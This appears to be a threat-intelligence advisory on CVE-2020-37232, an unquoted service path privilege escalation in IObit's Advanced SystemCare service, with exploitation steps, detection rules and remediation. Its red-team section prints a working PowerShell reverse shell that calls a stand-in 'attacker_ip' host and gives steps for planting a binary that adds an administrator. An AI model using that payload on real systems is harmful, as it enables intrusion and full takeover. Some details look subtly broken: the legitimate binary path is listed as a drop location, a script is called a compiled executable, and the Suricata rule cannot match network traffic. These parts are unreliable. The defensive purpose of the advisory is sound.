CVE-2020-37232
Executive Summary
CVE-2020-37232 is a local privilege escalation vulnerability in the Advanced SystemCare Service (AdvancedSystemCareService13) version 13.0.0.157. The vulnerability arises from an unquoted service path, where the service binary path contains spaces and is not enclosed in quotes. This allows a local attacker with low privileges to place a malicious executable in a system root path (e.g., C:\Program.exe or C:\Program Files\IObit\Advanced SystemCare\ASCService.exe). When the service starts or the system reboots, Windows will execute the attacker's malicious binary with LocalSystem privileges, leading to full system compromise.
The vulnerability is classified as CWE-428 (Unquoted Search Path or Element) and is mapped to MITRE ATT&CK technique T1574 (Hijack Execution Flow). The CVSS score is 7.8 (High), with a local attack vector and low attack complexity. No public exploit code or Nuclei template is available, but the vulnerability is well-documented and easily exploitable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows service binary path issue in a third-party application (Advanced SystemCare). No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs only low-privileged user access.
- User Interaction: None (UI:N) – No user action is needed.
- Scope: Unchanged (S:U) – The vulnerability does not cross a trust boundary.
- Confidentiality Impact: High (C:H) – Full system compromise.
- Integrity Impact: High (I:H) – Attacker can modify system files.
- Availability Impact: High (A:H) – Attacker can disrupt system operations.
Threat Level: High. The vulnerability is easy to exploit and provides full system control. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is significant for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic unquoted service path issue. The service AdvancedSystemCareService13 is configured with a binary path that contains spaces and is not enclosed in quotes. For example, the path might be:
C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
When Windows starts this service, it attempts to locate the executable by parsing the path. Because the path is unquoted, Windows will interpret each space as a separator and attempt to execute the following:
C:\Program.exe(ifC:\Programexists)C:\Program Files\IObit\Advanced.exe(ifC:\Program Files\IObit\Advancedexists)C:\Program Files\IObit\Advanced SystemCare\ASCService.exe(the intended binary)
An attacker with write access to any of these directories (e.g., C:\ or C:\Program Files\IObit\) can place a malicious executable named Program.exe or Advanced.exe. When the service starts (e.g., at system boot), Windows will execute the attacker's binary with LocalSystem privileges.
The vulnerability is present in version 13.0.0.157. No patch is available from the vendor (Advanced/IObit). The only mitigation is to manually quote the service path or remove the vulnerable service.
Vulnerable vs. Patched Code
Vulnerable Configuration (Unquoted Service Path):
The service binary path is stored in the Windows registry or service configuration without quotes. Example:
C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
Patched Configuration (Quoted Service Path):
The patched version would enclose the path in double quotes:
"C:\Program Files\IObit\Advanced SystemCare\ASCService.exe"
No official patch is available. Users must manually update the service path using sc qc and sc config commands.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Local access to a Windows system with Advanced SystemCare Service 13.0.0.157 installed.
- Write access to a directory in the unquoted path (e.g.,
C:\orC:\Program Files\IObit\).
Exploitation Steps:
Identify the vulnerable service:
sc qc AdvancedSystemCareService13Look for a binary path without quotes.
Create a malicious executable (e.g.,
Program.exe) that spawns a reverse shell or adds a user to the Administrators group.Place the malicious executable in the appropriate directory. For example, if the path starts with
C:\Program Files\..., placeProgram.exeinC:\.Trigger service start (e.g., reboot the system or restart the service):
sc stop AdvancedSystemCareService13 sc start AdvancedSystemCareService13Gain elevated privileges: The malicious executable runs as LocalSystem.
Example Malicious Payload (PowerShell reverse shell):
# Program.exe (compiled as a Windows executable)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Blue Team (Detection & Response)
Detection Steps:
Monitor service path changes: Use Sysmon Event ID 1 (Process Creation) and Event ID 13 (Registry Value Set) to detect modifications to the service binary path.
Check for unquoted service paths:
Get-WmiObject win32_service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' '}Audit file creation in system root directories: Monitor for executable files created in
C:\,C:\Program Files\, etc., especially if they match the unquoted path segments.Enable Windows Defender Attack Surface Reduction (ASR) rules: Rule "Block executable files from running unless they meet a prevalence, age, or trusted list criterion" (GUID: 01443614-cd74-433a-b99e-2ecdc07bfc25).
Indicators of Compromise (IOCs)
- Service Name: AdvancedSystemCareService13
- Service Binary Path (unquoted):
C:\Program Files\IObit\Advanced SystemCare\ASCService.exe - Malicious Executable Names:
Program.exe,Advanced.exe,ASCService.exe(if placed in wrong directory) - Registry Key:
HKLM\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService13 - Event Logs: Windows System Event ID 7030 (Service Control Manager error) or 7045 (Service installed)
- Sysmon Event ID 1: Process creation from unexpected paths like
C:\Program.exe
Detection Engineering
YARA Rule
rule CVE_2020_37232_UnquotedServicePath {
meta:
description = "Detects unquoted service path for AdvancedSystemCareService13"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2020-37232"
strings:
$s1 = "AdvancedSystemCareService13" nocase
$s2 = "C:\\Program Files\\IObit\\Advanced SystemCare\\ASCService.exe" nocase
condition:
$s1 and $s2
}
Sigma Rule
title: Unquoted Service Path - AdvancedSystemCareService13
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for AdvancedSystemCareService13
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2020-37232
logsource:
product: windows
service: system
detection:
selection:
EventID: 7030
ServiceName: 'AdvancedSystemCareService13'
condition: selection
falsepositives:
- Unknown
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-37232 - Unquoted Service Path Exploit"; flow:to_server,established; content:"AdvancedSystemCareService13"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Manual Fix: Quote the service binary path:
sc config AdvancedSystemCareService13 binPath= "\"C:\Program Files\IObit\Advanced SystemCare\ASCService.exe\""Remove the Service: If the software is not needed, uninstall Advanced SystemCare or disable the service:
sc stop AdvancedSystemCareService13 sc delete AdvancedSystemCareService13Restrict Write Permissions: Ensure that low-privileged users cannot write to
C:\orC:\Program Files\IObit\.Monitor for Exploitation: Deploy the YARA, Sigma, and Suricata rules above.
Vendor Notification: Contact IObit/Advanced for an official patch. As of now, no patch is available.
Valters IT
DevSecOps & Cyber Threat Intelligence